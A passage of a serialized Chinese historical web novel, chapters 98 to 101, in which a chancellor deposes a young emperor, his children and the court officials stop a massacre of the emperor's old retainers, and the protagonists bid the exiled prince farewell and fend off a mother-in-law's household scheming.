刘昌终于怕了,语无伦次道:“贺丞相,你别杀他们。我求求你,别杀他们。” 贺留善冷冷地看了他一眼,挥了挥手。 箭矢如雨,发出令人毛骨悚然的嗡鸣,朝着殿下众人射去。 成渊怒吼着挥剑格挡,死死护着颜太傅,堪堪避开第一波箭矢,铁甲上已插满箭羽。 雪越下越大,却掩不住满地猩红。折断的箭杆、撕碎的官服、散落的冠冕,在血泥中搅作一团。 很快,第二波箭矢射出。 刘昌踉跄着扑到殿前栏杆处,白玉栏杆上的积雪被他抓得簌簌坠落。 他看见颜太傅的白发在箭雨中飘散,成渊用身躯为老臣挡箭时喷溅的鲜血染红了玉阶。 “我认输!我认输!”少年天子的哭喊撕心裂肺,“皇位给你!玉玺给你!我什么都不要了,你别杀他们!” 贺留善置若罔闻,正欲再挥手,一声凄厉的声音自宫门外传来。 “父亲!”贺容华飞奔而来,一下跪在地上,“求您,放了他吧。” 柳舜华一进来便瞧见满地的鲜血,不由浑身打颤。 上辈子,她听闻贺丞相曾在事后清算,杀了一些济阳旧臣,却不承想,是如此血流成河。 未央宫门外,济阳旧臣,足足两百余人。 两百多条性命,他竟是眼都不眨。 贺留善见到来人,脸色阴沉,“容华,谁让你来的?” 贺容华缓缓抬头,哀求道,“父亲,您明明知道的……若您要杀他,就连我一起杀吧。” 成渊剑撑在地上,透过风雪,看着远处的妇人。 朔风呜咽,贺容华素白的衣裙在风雪中翻飞。明明那么单薄瘦弱,却又如此坚毅。恍惚中,他又看到了暖水村中那个永远笑嘻嘻的小丫头。 他多想,多想去抱一抱她。 贺留善淡然瞥了一眼跪在地上的贺容华,“你若继续跪着,他只会死得更惨。起来,我留他一具全尸。” 贺容华呆呆地望着贺留善,“父亲,为什么?我是您的女儿啊!我听了您的话,嫁进了宣平侯府,乖乖做您的好女儿,您说会保他一世无虞。” 贺留善冷冷地盯着她,“容华,我再说一次,起来。” 贺容华看着高台上的贺留善,闭上双眼。 片刻,她缓缓站起,挺身挡在阶前,回头对着一脸血污的成渊,笑了笑。 “那父亲,就让我们死在一起吧。” 贺留善只是冷声道:“我怎么就教出你这么个没出息的女儿?” 说罢,手一抬,便想要继续射杀。 “父亲且慢!” 一道清冷的声音突然划破肃杀,贺玄度踏过血泊,走了出来。 贺留善冷笑,“好啊,好得很,你又想替谁求情?” 贺玄度摇头,“我不替任何人求情,只想问一句,他们究竟犯了什么错,让父亲痛下杀手?” 贺留善高声道:“济阳王行事荒唐,他们身为近臣,不加以规劝,反而助长其气焰,实在罪不可恕。” “原来如此。”贺玄度点头,看向贺留善,“若如此说来,父亲您才是罪魁祸首。” 贺留善眯着一双眸子,定定看着贺玄度。 贺玄度猛地抬眸,眼中寒芒乍现,“父亲,您忘了,当初扶济阳王上位的,可是您啊” 第99章 第99章他稀里糊涂成了皇权争斗…… 贺留善居高临下,盯着贺玄度,“正因为是我推他上去,才更应该对大安千秋基业负责到底。” 贺玄度立于风雪之中,淡声道:“父亲方才说,济阳旧臣不懂规谏,那父亲作为辅政大臣,又亲手将他推上皇位,可曾有过规劝?” “放肆!”贺留善一声怒喝。 他怎么也没想到,关键时刻,这个儿子竟然反戈相向,在众目睽睽之下拆台。 “贺二公子所言不差。”殿门打开,柳桓安率朝臣蜂拥而出。 车骑将军无奈看着贺留善,他是按照指示将朝臣都留在大殿,等候皇太后驾临,但方才刘昌那几声吼叫过于凄厉,朝臣们到底坐不住了,柳桓安伺机煽动,他又不能砍了他们,只能放行。 柳桓安望着阶前殷红浸染玉阶,又瞥向一旁心如死灰的刘昌,眉峰紧蹙,沉声道:“贺相,纵使济阳王失德当废,亦当存几分体统。这般刀兵相向,血溅丹墀,岂是圣朝废立之礼?” 到底是御史,柳桓安一番话,掷地有声,瞬间燃起朝臣议论。 “贺公明鉴,济阳王纵获罪于天,但到底曾是旧主,如此不体面,我们这些人脸上难道便有光吗?”苏太常附和道。 贺丞相脸色不好看了,贺玄度如此一搅局,耽搁了时辰,竟引得这些朝臣站出来质疑。 他负手而立,避重就轻道:“《孟子》有云:君有过则谏,反复之而不听,则去。今日废立,实乃天命。” 柳桓安冷沉道:“为人臣者,不得不以死争。是故天子之过,臣亦有责。你我皆为大安臣子,怎可独独诛杀济阳旧臣?贺丞相,若今日,逼死了济阳王,就不怕他日青史之上,你我皆为弑君之臣!” 他这话说得太重,朝臣骇然,若刘昌当真在今日出事,那他们所有人都难逃史笔如椽。 有人忍不住站了出来,“贺丞相,济阳王已废,这些旧臣,斥去其官职,撵回去便是,何必斩尽杀绝。” “是啊,如此这般杀人诛心,便是济阳王活着,那同……咳……” “还请丞相,能放过济阳旧臣。” “请丞相三思!” …… 群臣附和声渐渐大了起来,此起彼伏。 风雪呜咽,刘昌却觉得耳畔忽然安静下来,他望着眼前诸臣,喉头微微滚动。 登基三月,他早已看腻了群臣俯首时无聊造作的姿态。可此刻,那些曾令他生厌的跪姿,却让他的眼眶蓦地泛红。原来那些低垂的冠冕之下,当真藏着太傅所说的“君臣之义”。 胸中一股灼热血气自心窍奔涌而上,烫得喉间发紧。热意来得如此汹涌,方才已经冷下的心,瞬间温热。 他目光缓缓扫过众人,落在阶下的贺玄度与柳舜华身上。 恍惚中,他又回到多年前那个冬夜,贺玄度挑开破席,将那件鹤氅搭在他身上…… 贺玄度看着贺丞相渐渐阴沉的脸色,开口道:“父亲,济阳旧臣全赖济阳王恩德,济阳王既已被废,他们不过一片散沙,成不了气候。何况,这朝中为济阳王鸣不平者,多半是素日对他不满之人,皆是直言。还请父亲,暂退一步。” 柳舜华稍一深思,便觉出贺玄度此言精妙之处。 贺丞相之所以对济阳旧臣痛下杀手,不过是想彻底绝了刘昌复立之路。此外,多少也有些想要试探,看看刘昌在朝中是否还有其他势力。 贺玄度一番话,先是暗示济阳旧臣不足为惧,又提醒了朝中替济阳王说话的,多是一些直臣,以此打消丞相的疑虑。 同时,贺丞相也知晓,他此次废帝,口号虽响,但到底是越矩。群臣直谏之下,若他仍一意孤行,失了仁心,得不偿失。 贺留善扫视一圈,终于松口,“诸君所言极是,是我一心只想着肃清朝堂不正之风,思虑不周。来人,将济阳旧臣全部暂押至诏狱,听候发落。” 诸臣见事已落定,渐渐退回大殿。 刘昌被押着转身时,忽见阶下白发苍苍的颜太傅率众臣齐齐伏地。 “臣,恭送王爷。” 挡在济阳群臣身前的贺容华倏忽放下手臂,回头默默望着成渊,泪如雨下。 金吾卫铁靴踏碎满地血水,朝着阶下众人走去。 成渊从贺容华身边走过,压抑地满腔翻涌的思绪,死死咬紧双唇,直至满 嘴血腥。 她已嫁作他人妇,他不能再连累她。 贺容华快步跟上,看着他的眼睛,轻声道:“成大哥,等我。” 成渊片刻呆滞,很快,朝她用力点了点头。 贺留善跟着一步步走下,停在贺玄度面前,抬手朝他脸上扇了一记耳光。 柳舜华被吓了一跳,怔在原地。 贺容华伸手去拉贺留善,“父亲,不怪二弟,是我求他带我来的。” 贺留善目光转向贺容华,毫不意外地抬起手。 手举到半空,被贺玄度拦了下来。 贺留善怒道:“逆子!” 贺玄度顺势将他甩到一边,“父亲,大姐姐身子弱,经不起折腾。” 贺留善压低嗓音,对着贺容华骂道:“今日贺家的脸都让你丢尽了,你让我如何向宣平侯府交待?” “那便和离吧!”贺容华声音淡得风一吹,便散在空中。 贺留善许久未反应过来,“你知不知道你在说什么?” 贺容华整理好衣襟,抬眸道:“父亲,今日之事,已经让贺府与宣平侯府脸上抹黑,宣平侯府必生嫌隙,唯有和离,方能保全两家颜面。” 贺留善冷笑,“好啊,你早就算计好了吧。” 贺容华开口毫不留情,“当初,逼我嫁到宣平侯府的时候,父亲曾许诺过要保成大哥一世无虞,我这才乖乖做您的棋子。如今,父亲不但违背了诺言。” 贺留善看着眼前的大女儿,怔愣许久。 他说不出是什么感觉,只觉得她冰冷得让他喘不过来气。 于是,喃喃道:“那个成渊他配不上你,宣平侯世子有什么不好?” 贺容华冷声道:“你说他好,是因为他对你有用。在我眼里,他就是个寻花问柳,一事无成的废物。” 贺玄度站在一旁,拍了拍贺容华的肩膀,“姐姐既想和离,那便和离吧。” 贺留善瞪了他一眼,“有你什么事?” “当务之急,难道不是要维护住两家的名声?”贺玄度继续道:“方才闯入宫门时,我借口大姐病重,需进宫瞧太医。不如就对外宣称,大姐得了重病,神志不清。再以此为由,去宣平侯府提和离之事,如此,便可保全两家颜面。至于宣平侯府,只需放平身段,顺势拉拢安抚一番,想他们也不会因此与相府生出嫌隙。” 贺留善第一次正眼看向贺玄度,认真打量起这个素来没个正行的儿子,他隐隐有种感觉,他似乎有些不一样了。 不过,他这个方法倒是不错,一时脸色稍稍缓和。 贺留善不再与他们多话,转身朝大殿走去。 回去时,贺容华并未与他们共乘,而是住了附近的客栈。 她打定主意要和离,那个所谓的家,根本懒得回。 柳舜华拉住她,“大姐姐,你一个人行吗?” 贺容华一笑,“你放心,我穷山村里长大,什么苦没受过,什么难没遭过,没事的。” 柳舜华想了想,“我与玄度在城东,我们柳府附近置办了一个院子,大姐姐若是不弃,明日便搬过去住吧。靠着柳府,有个照应,玄度也放心。” 贺容华携了柳舜华的手,不胜感激,“蓁蓁,谢谢你。” 上了马车,贺玄度长长舒了一口气。 “蓁蓁,你思虑总是如此周到,回去我便让洪声去置办院子。” 柳舜华拉过他的手,“大姐姐待我好,为她考虑,是应该的。” 贺玄度叹声,“大姐她也算因祸得福,好歹与宣平侯世子和离,不用再同床异梦,免受蹉跎。” 柳舜华点头,当贺容华提出和离时,她一瞬震撼,没想到她竟如此果决。 她忽地一顿,眼底泛起涟漪,“是啊,若是我也有她这般魄力……” 话一出,便觉车内气氛骤降,贺玄度攥住她的手,像是怕她会随时跳下马车一样,“蓁蓁……” 柳舜华先是一愣,随即冰凉的指尖戳上他紧绷的脸颊。 “你想什么呢?我就是感慨大姐有那份勇气。” 贺玄度手臂略松了些,“我以为,我以为你……” 柳舜华歪头凑过去,“你以为什么?” 贺玄度摇头,顺势靠在她肩上,“没什么,只是方才太过紧绷了。” 想起刘昌,柳舜华心中有些不好受,一时沉默。 许久,她才道:“我是不是做错了,若是成川昨日陪在他身边,他也不至于会误入皇太后寝殿。” 贺玄度揽过她的肩,“蓁蓁,父亲有意寻他的错,即便成川昨日在,也会被人调虎离山。何况若是他在,大殿之上,看到有人如此对待刘昌,以他的脾气,只怕当场便举剑反抗了。父亲正愁不能杀一儆百,他若在,此刻已经成了那刀下魂。” 柳舜华这才稍微缓解,贺玄度怕她多想,继续道:“我已让周松去上林苑回程途中截他,有他在外面,做事也方便些。” 车马摇晃着向前,柳舜华仔细梳理两世知晓的线索。 她缓缓道:“你曾同我讲,睿帝生前曾说过,将来无论谁继位,都务必要保刘昌一命。这话,是睿帝同我兄长说的吧?” 贺玄度见她猜到,低声道:“蓁蓁,实在不是我有意瞒着你,是兄长,他不想柳家人牵扯过深,才让我不要告知你。” 柳舜华叹道:“如今芊芊嫁于刘九生,你与他都是刘九生的人,还有什么可瞒的。” 贺玄度点头,如实道:“睿帝临终前曾召见过九生,暗示想让他继承大统。可睿帝驾崩后,却传来刘昌继位的消息。我与九生都懵了,也是后来,发生了一些事,我才渐渐想通了。” 柳舜华:“想通什么?” “这一切,都是睿帝的计划。”贺玄度看向窗外,缓缓道:“若他一开始便立九生为帝,那他势必会被我父亲忌惮。一旦被父亲针对,他将会成为下一个睿帝,处处被父亲掣肘,皇权难敌相权。他知晓,他死后若无诏书,父亲为了继续掌控朝堂,定会立宗室子刘昌为帝。早在去年诸侯进京时,睿帝便已将他们看透。刘昌为人轻率,做事急躁,看似最好拿捏,可他却是个有血性的,定然不肯受父亲摆布。如此一来,矛盾日涨,等到了不可调和的地步,父亲必然会做出反击。” 说到此处,他停了一下,像是在平复心绪,“所以,从始至终,刘昌都只是九生的垫脚石。我父亲废掉刘昌,自以为他扶植了一个更加毫无根基的刘九生继位,对他便不会如此戒备。而且,即便日后九生野心暴露,他已经废掉一个皇上,绝不可能再废掉另外一个,便是朝中大臣也不允许。” 尽管此前已猜出大概,可听贺玄度说完,柳舜华还是感叹不已。 为睿帝感慨,他人都先去,却依旧在继续掌控着朝堂。 他为免死后,皇权旁落,可谓煞费苦心。 为刘昌感慨,他稀里糊涂便成了皇权争斗的牺牲品。 自踏进长安城那刻起,注定是场悲剧。 睿帝到底有愧于刘昌,才会在死前留下一句:务必保刘昌周全。 可他们都忽略了贺丞相的手段,若非今日及时赶到,数百条性命便如此轻易被抹杀。 想到今日阶前血流如注,大姐挡在济阳群臣身前,父亲挥手时甚至没看她一眼,就像拂去袖上尘埃那般随意。 贺玄度一颗心渐渐冷去。 原来他们这些骨肉至亲,在父亲心里,也不过是随时可以牺牲的棋子。 柳舜华觉出握着她的手猛地一紧,伸手将手覆在那双大手上。 “贺玄度,你还有我,我永远不会离开你。” 车马行至望月楼,北风吹起一角,两人抬头,正望向楼前那株枯瘦的桃树。 刘昌被废之事已定,很快便会有结果。 他很快便会遣送回济阳。 从此,长安城的人和事,与他再无瓜葛。 第100章 第100章宜节制?不存在的…… 济阳王被废的消息很快传开。 长安城的探子昼夜兼程,八百里加急将密报送至彭城王府。 彭城王闻讯震骇,当即打着“匡扶大安”的旗号,亲率精兵浩浩荡荡赶往长安。 贺丞相此次废黜刘昌,比当初拥立他上位还要迅速,完全打了他个措手不及。 刘昌继位三个月来,他暗中运作,不惜重金收买宫中眼线,挑拨离间刘昌与贺留善之间的关系。 如今棋局已成,错过此次,便再无登上至高之位的可能,又岂容他人摘桃? 然而,他还是低估了贺丞相的雷霆手段。 贺留善的动作太快,刘昌没来得及反应便被拉下皇位。同样,他更不会给彭城王可乘之机。 刘昌被罢黜的第二日,贺留善便向皇太后请奏,立武帝已故太子之孙刘九生为帝。 故太子此前虽涉嫌造反夺权,但武帝临终前,思及故太子,悲痛不已。明示 赦免其一脉,并下诏命恢复刘九生的皇家宗籍,录入皇室宗谱。 是故刘九生虽长于民间,但仍旧为皇室中人。 拥立刘九生继位,也算名正言顺。 皇太后应允,贺留善命楼宗正到刘九生住处,赐他御府衣冠,到宗□□斋戒行礼后朝见太后。 皇太后召见刘九生后,先赐其侯爵,更名刘宣。 不久,群臣奉上传国玉玺,刘九生继皇帝位。 至于刘昌,虽被贬为庶人,但皇太后念其皇室宗亲身份,下旨遣返他回济阳时,另赐汤沐邑二千户,此前济阳积累的家财也悉数给了他。 只是,关于济阳旧臣的处理上,贺留善依旧留了一手。 此前当着众臣的面,答应不杀他们,但放虎归山,终究不甘。 于是一句:济阳旧臣之事,宜交由新帝处理,顺手将这个难题留给刘九生。 刘昌被废,刘九生又一次见识到皇权争夺的血雨腥风,贺丞相的狠绝老辣,更坚定要事事以他为要,处处以他为尊。 刘九生身在皇宫,身边无数双眼睛正盯着,时间又紧,不便同柳桓安与贺玄度联系。他思索再三,决定将济阳旧臣贬谪至瓜州,另派贺留善亲信接手济阳。 贺留善听闻后,频频点头。 瓜州地处西北,与济阳相距甚远,来往通信不便;由亲信接管济阳,方便监视控制刘昌,日后也不用担心其旧属生出不臣心思。 柳桓安原本还忧心刘九生不好处置此事,听影卫传来消息,对他行事叹服不止。 济阳旧臣如何安置,稍不留神,不但会害他们不得善终,还有负睿帝要善待刘昌的遗言,更甚者会引起群臣不满,影响其威望。 可刘九生这步棋,下得极妙。 瓜州虽远离长安、济阳,但离西凉颇近,是万都尉的势力范围。一来可以使他们避免被贺留善迫害,二来由万都尉制约庇护,对几方而言,皆是目前最好的安排。 刘九生一上位,便恢复贺留善堂侄卫尉之职,又对其一族大肆封赏,如今济阳又被其心腹接管,朝堂之上不满者只怕大有人在。而且,将其最忠实的心腹调离长安,分散其势力,倒也不算坏事。何况,刘昌虽被遣回济阳,但那里毕竟有其势力,再加之王城那一堆皇室中人都不是什么省油的灯,贺留善的人未必能讨得什么好处。 刘九生继位后的第三日,刘昌被遣回济阳。 丞相府内,贺留善听着探子前来回禀。 “沿途已设眼线,只瞧见二公子与二少夫人前去送行。” 贺玄晖挥挥手,让人退下。 贺留善嗤笑道:“还真是物以类聚,这个逆子,不知何时与刘昌有这般好的交情。” 贺玄晖知晓刘昌曾觊觎柳舜华,以贺玄度的性子,不应与他如此亲近才对。 他也曾想过,这一切或许只是贺玄度刻意做戏,但罢黜刘昌那日,他公然站在相府对立面,不惜开罪父亲,而且,若是做戏,总要有个目的,他实在猜不透他这么做究竟有何好处。 贺玄晖思索半日,方道:“二弟去送行,不足为奇。可柳桓安那日明明也是拼尽了全力去保刘昌,颇有些破釜沉舟,不管不顾的意味,怎么今日却避嫌起来?” “这也好理解,那柳桓安自诩直臣,大殿之上帮刘昌美言几句,实属正常。”贺留善话锋一转,“原本我还有些担忧,刘九生娶了柳桓安的妹妹,会重用柳桓安。可柳桓安此举,无疑在两人之间埋下一根刺。他大约也是没料到刘九生会登基,所以这会才想着避嫌。” 贺玄晖点点头,犹豫片刻,还是开口道:“父亲,这几日去给母亲请安时,听到她抱怨几句,不知……” 说起这个贺留善就头大,他叹了一口气,“容华自小被寄养在外,你母亲便将那份亏欠都弥补在容暄身上,一心想将这天底下最好的都捧到她跟前,眼下新帝方立,后位空悬,她怎会不动心思。” 贺玄晖不以为意,“刘九生与柳家二小姐情深义重,又已成婚,容暄何必去蹚那浑水。大安的好男儿多得是,还不是任她挑选,有相府替她撑腰,便是将来嫁了人,也不会受半分委屈,怎么也强似入那宫门。” “我又何尝不是这样想呢,当年我与你娘,便是如此被生生拆散,以至让你大姐……”贺留善垂下头,“她也是我的女儿,尽管我下令射杀,可金吾卫那些人,又有哪个敢真是将箭羽对准她。她竟真的狠下心来,要与相府断绝关系。” 贺玄晖安慰道:“父亲放心,侯府那边已经写下和离书。我已好生安抚,大堂兄远调济阳,空出来的缺正好可以留给世子,以补相府亏欠。” 贺留善点头,“彰儿办事,为父很放心。” 北风呼啸,远山苍茫,天地间一片肃杀。 春蒙山下几里,驿亭孤零零地立在官道旁。 贺玄度与柳舜华并肩而立,眺望着远方,不多时,铁蹄踏在冻硬的官道上沉闷的声响传来。 抬眼望去,车骑自风雪中逐渐露出轮廓。玄铁甲胄上覆着薄霜,晨光中尤为冷寂。为首的骑士勒住缰绳,铁面之下传出沉闷的声音:“奉诏,遣庶人刘昌回济阳,闲杂人等,速速散退。” 贺玄度拱手向前,大氅在风中猎猎作响,“我乃丞相府二公子,奉父亲之命,特来相送。” 为首之人自然认得他,听他说奉丞相之命相送,半信半疑。 贺玄度不紧不慢道:“你若不信,遣人回去问一问便知。只是这一来一回的,耽误了时辰可就不好说了。” 那人见他们只有两人,也不多加阻拦,左右出了问题,推给这个二公子便好。 于是,侧身让开,对着车内道:“劳烦下车,有故人相送。” 车帘微微晃动,先探出一截枯瘦手腕,很快一道瘦弱的身影钻出马车。 少年迎风而立,宽大的袖袍被风吹起,眉间眼梢的锋利消磨殆尽,眼睫垂下,带着无尽的落寞。 看到贺玄度与柳舜华的瞬间,死寂的眼神一下有了些许亮光。 驿亭内,贺玄度备好了酒菜,倒了一杯酒递过去,“此去济阳,不知何时才能相见,浊酒一杯,望一路平安。” 刘昌接过酒杯,仰首一饮而尽,“颜太傅他们,劳烦多关照。” 贺玄度一愕,见刘昌已经看破,垂眸问:“你对我很失望吧?” 他一直将他当作朋友,可他却眼睁睁看着他一步步从九重高台跌落,万劫不复。 刘昌静立良久,忽而展颜一笑,“要怪,就怪天意弄人,你已选了你的路。贺玄度,我们认识得太晚了。下辈子,我们早点做朋友。” 贺玄度抬起头,“你还愿意认我这个朋友?” 刘昌望向远处苍茫的群山,面上悲怆之色渐融:“为何不认?你为我周旋保命,刘九生看在你的面上对济阳旧部网开一面。”转眸时,眼中竟含笑意,“是我狂妄自大,连累众人,落得这般下场已是侥幸。” 他虽这么说,可贺玄度一想到他入长安时的风光无限,如今被贬为庶民,不再有皇族光环,身边亲友尽散,从此被父亲的人日夜监视,一种难以言说的心酸便翻涌而出,只教他心上憋闷。 刘昌见他如此,反倒释然一笑,安慰道:“贺玄度,你 没必要内疚,你没有对不起我。你这个人,有时候看起冷心冷性,心内却最重情,若非早已将我视为朋友,又何至于受此煎熬。” 除夕一夜,他们窥见彼此最孤独无助的一面,相同的经历就像彼此的一面镜子,没有人比他们更适合做朋友。 贺玄度看着他,“刘昌,山高水长,总有相见那日。你我是,济阳旧臣也是。” 刘昌微微闭上眼,又缓缓睁开,“当初,是我带着他们走出济阳,如今他们却远贬他乡,难返故里。若有相见那日,贺玄度,我愿意付出任何代价,包括我的命。” 贺玄度举杯,“会有那一日的,他们会回去的。相信我,好好活着。” 刘昌饮完最后一杯酒,将杯子掷向远处山崖,“我曾经想过,要暗中处理掉你父亲,独揽大权。可是,我优柔寡断,念着他扶持我上位,又忧心杀了他朝局难以掌控,一再犹豫,以致错过良机。”他面色一沉,“你父亲是治世的能臣,亦是噬主的豺狼。你若站在他的对立面,一样会尸骨无存。贺玄度,既然你已做了选择,别心软,别回头,别再走我的老路。” 话已说尽,再留下去徒增伤感。 刘昌转身,经过柳舜华身边时,缓缓停住脚步。 他轻笑一声,“那日,也是在这春蒙山下,我误以为你为我送行。不曾想,今日你倒是真为我送行了。” 柳舜华盈盈一笑,“只可惜,没有山果子送你。” 刘昌抬头望着积雪满顶的春蒙山,“是啊,再也吃不到了。” 柳舜华想起那日的场景,缓缓道:“成川,他人已在济阳。玄度怕他冲动,让人将他打晕,直接送到了济阳。” 刘昌望着盈盈而立的柳舜华,眼底浮起一层薄雾。 他偏过头眨了眨眼,将那点湿意生生压了回去。 山风掠过,柳舜华衣饰上绿丝绦随风轻扬,像春日里最早抽芽的柳枝。这般纤细的身量,却总是带着春风化雨般的奇异温暖,轻易抚平人心,让人忍不住想要靠近,去汲取那一点点柔情。 刘昌想,这辈子,他大约再也碰不到这样的姑娘了。 马嘶一声,刘昌的车马,迎着风雪启程。 贺玄度与柳舜华走出驿亭,静静望着前方,远去的车马化作天地间一粒黑点,最终被苍茫雪色吞噬。 四野俱寂,转眼间,山川万里,雪白一片。 来时脚印已无踪迹,长安城一切,仿佛不过是风雪途中一场转瞬即逝的幻梦。 梦醒了,也好。至少这一世,刘昌不再是一个人。就像贺玄度说的那样,只要他们都活着,总有重逢那日。 回到相府,贺丞相并未怪罪贺玄度,反倒觉得,由他代表贺家去送刘昌,反能彰显相府的度量。 看吧,他废掉刘昌,只是为大安千秋万代基业,他对刘昌毫无私人恩怨。 第二日午后,周松神色凝重进来,“公子,彭城王已经到长安了。” 贺玄度凝眉,柳舜华将手放在他掌心,“你去吧,一切小心。” 柳舜华在屋内同妙灵几人正说着话,程氏便遣人要她过去一趟。 她本懒得去,负责传话的丫头吓得瑟瑟发抖,不停地跪地磕头,说她若是不去,王嬷嬷便要将她发卖出去。 柳舜华于心不忍,也想瞧瞧她到底想要做什么,带着妙灵与芳草,去了前厅。 程氏一见柳舜华,罕见地热情起来,“有些日子不见,怎么瞧着,人清瘦了不少。” 柳舜华垂头看向自己的腰,自打嫁给贺玄度,被他好吃好喝地伺候着,人明明已经胖了一大圈,程氏是眼瞎吗? 她悠然饮了一杯茶,“有劳母亲记挂,我与玄度好得很,您可以放心了。” 程氏脸色一黯,很快堆起了笑,“自打过了年节,老夫人精神便不大爽利,你日日侍奉汤药,片刻不离。偏生玄度的腿伤才将将好转,也离不得人照看,实在是辛苦你了。” 一旁的妙灵与芳草睁大双眼,真是活见鬼了,程氏竟然关心起她们二少夫人了。 柳舜华垂眸,眼中划过一丝哀伤。 她清楚地知道,老夫人时日不多了。近日来尤其嗜睡,整个人昏昏沉沉的,她能陪一日便是一日。 “你一个人照料,实在让我心疼。”程氏幽幽一转,“不如,我送个贴心的丫头过去,替你多分担一些。” 柳舜华愕然抬眸,瞧着程氏一脸温婉,十足的慈母模样。 怪道她今日如此热心,原来是想往他们院中塞人。 她与贺玄度成婚不足三个月,新婚燕尔,她便按捺不住了。 前世,祖母病重期间,她见她失了靠山,也是如此。 她忽然觉得可笑,同样是女子,程氏为何总爱做这等龌龊的勾当?高门后宅的方寸之地,竟能把人的心肠都磋磨成这副模样? 程氏心内同样冷笑,自贺玄度娶了柳舜华,两人愈发不将她这个主母放在眼里,前些日子更是撺掇着容华和离,害得容华有家不回,与他们愈发疏远。这口气,她思来想去,怎么也咽不下去。 这才想到这么个办法,既能借此给她个下马威,离间一下他们夫妻感情,顺便安插自己人进去探风。 柳舜华轻笑一声,不紧不慢道:“母亲,您忘了,玄度身边有银纤姑姑。” 程氏却道:“银纤终归是年龄大了点,照看难免不到位。” 柳舜华皱眉,瞧向一旁的王嬷嬷,“怎会,王嬷嬷更是年长,我瞧着办事最是牢靠,不然,母亲也不会如此重用她。” 程氏脸色不太好看了,干笑一声,低声道:“这怎么能比呢,玄度他是个男儿,血气方刚的,若是身边没有个年轻的丫头照料,你一个人怎么吃得消?” 柳舜华脸唰一下红了,程氏委实粗俗了些,还真是什么话都不避讳。 只是,眼下不是扭捏的时候。她端起茶盏轻抿一口,待面上热意稍退,方缓声道:“母亲,玄度他的腿才好,大夫再三叮嘱过,宜节制。” 这下轮到程氏傻眼了,她看准了柳舜华面皮薄,没想到她竟如此强悍。 她强忍着气,尽量平和,“你们房内丫头太少,放着伺候穿衣用膳也是好的,总归是做母亲的一点心意,你断然拂了长辈的好意,传出去又要让人多舌。” 柳舜华冷笑,谁家婆母会好意到新婚便逼着儿媳接纳通房,即便传出去,丢脸的也不是她。 “母亲,玄度他的脾气,您是知道的。”柳舜华慢条斯理地抚平袖口褶皱,“他一向不喜欢生人,最厌别人替他做主,今日我若是贸然应下,回头他一生气,若是打断了我的腿,可如何是好?” 程氏震惊地看着柳舜华,她还真是,信口开河。 整个相府,谁不知道,贺玄度宝贝她这位夫人跟眼珠子一样。 柳舜华原以为,程氏能有什么新鲜花样,没想到她的手段还是如此无聊,且难登大雅之堂。 前世,她处处被程氏掣肘,一是曾心悦贺玄晖,对她存着几分敬重;一是背后没有靠山,不得不低头。 如今,她是他们夫妻的仇人,她背后永远站着贺玄度,哪里还能再任由她拿捏? 柳舜华懒得与她周旋,优雅起身,“母亲,这个时辰,祖母想必已经醒了,儿媳要去伺候,先行告退。” 程氏见她头也不回地朝门外走,朝着王嬷嬷使了个眼色。 柳舜华方踏出花厅,穿过洞门,便听一阵哭喊声。 “不能得二少夫人青睐,留你何用?来人,给我拖出去,打一顿扔到妓馆去。” 柳舜华冷笑一声,这些人,又故技重施,在她面前作戏,来博她同情。 她厌烦透了程氏的手段,像是没看到一样,径直走了过去。 “二少夫人,求您开恩,收了奴吧。”那跪在地上的女子一头奔了过去,拉住柳舜华的裙角,哭得梨花带雨,我见犹怜。 柳舜华看清那女子,微微一怔,“梅好姑娘。” 夜已深,贺玄度还未归来。 柳舜华照顾老夫人,又安置梅好,微微有些倦怠,等了一会,头一歪便睡了过去。 睡意朦胧中,一副略微有些发凉的身躯钻进被窝,从背后将她搂在怀中。 柳舜华迷迷糊糊睁开眼,翻身揽上他的脊背,呢喃一声,“夫君。” 原本僵硬冰凉的身躯如同被春水化开,一下炙热柔软下来。 “蓁蓁,我还以为,你不喜欢我了。”贺玄度头埋在她颈窝,声音无端带了几分委屈。 柳舜华拍着他的背,笑道:“你又在胡说些什么?” 贺玄度垂眸,“我听说,今日程氏要往房内塞一个丫头,你二话不说便将人接了过来。你都不吃醋,也不在乎。” 柳舜华笑出声来,“你身边这些人,怎么传话只传一半,我原本是极力拒绝的。只是那丫头是梅好,我这才将她安置下来。” 贺玄度 依旧不满,“管她什么梅好,梅坏的,一律不准要,明日便退回去。” 柳舜华伸手将他眉心抚平,“你忘了,望月楼内,你曾救下的那个姑娘,平清坊,千陶馆的梅好姑娘。” 千陶馆?贺玄度眼神微微一变,怎么这么巧。 他手臂收紧,将她纤细的身子完全搂入怀中,“若不是为了你,我才懒得多管闲事。” 柳舜华指尖抚过他棱角分明的下颌,朱唇如蜻蜓点水般在他颊边掠过,“我知道。” 余音尚未消散,贺玄度霍的翻身,高大的身体压上去,紧紧地贴着她温软娇嫩的肌肤。 她似乎胖了些,腰上的肉软软的,摸着手感很不错。 柳舜华被他摸得酥麻,忍不住伸手去推他。 贺玄度一手攥住她纤细的手腕,低哑的嗓音裹着情欲的暗涌,“那你应当还知道,我的腿早就好了,不需要克制。” 柳舜华满脸涨红,头埋进枕头内,他竟然连这话都听去了。 贺玄度将她捞起,细密的吻如春风化雨,从颈侧一路蔓延至锁骨,每一处都激起阵阵涟漪。 鎏金博山炉中最后一缕沉香散尽,鲛绡帐内暖意却更浓。 贺玄度在攻城略地的间隙,垂头哑声唤她,眼底灼灼如燃着火。 “蓁蓁,等解决好长安这些事,咱们要个孩子吧。”【你现在阅读的是 】 100-110 第101章 第101章蓁蓁,你到底是谁?…… 彭城王一进长安城,各方势力闻风而动。 贺丞相知其来者不善,联合车骑将军,加紧长安城内外防控。 他这一来,太过打眼,将整个大安的视线都吸引过去,贺玄度得以喘息,抓紧机会,通过暗卫,同刘九生与柳桓安取得联系。 为应付彭城王入长安,刘九生将柳桓安重新调至鸿胪寺,任鸿胪寺卿。 明眼人都看得出来,柳桓安此次虽是升迁,但实权却大大减弱。 柳舜华听到此事,有些意外,但仔细一想,很快反应过来。 这个节骨眼上,刘九生首要做的便是稳住贺丞相。贺丞相拉拢兄长不成,定然对他有几分忌惮。刘九生佯装恼怒兄长为刘昌求情,刻意疏远兄长,换取贺丞相信任,便可借力打力,让他与彭城王两虎相斗。同时,将兄长调至鸿胪寺,免他至于权利漩涡中心,更便于暗中活动。 已是正月底,冰雪消融,日日晴好。 柳舜华坐在窗边,看着院内的青竹发呆,也不知这一切何时才能结束,回到凉州去。 她决定留在长安,一是为了棠华,一是要对付程氏。 程氏不足为惧,只是她背后靠的是丞相府。 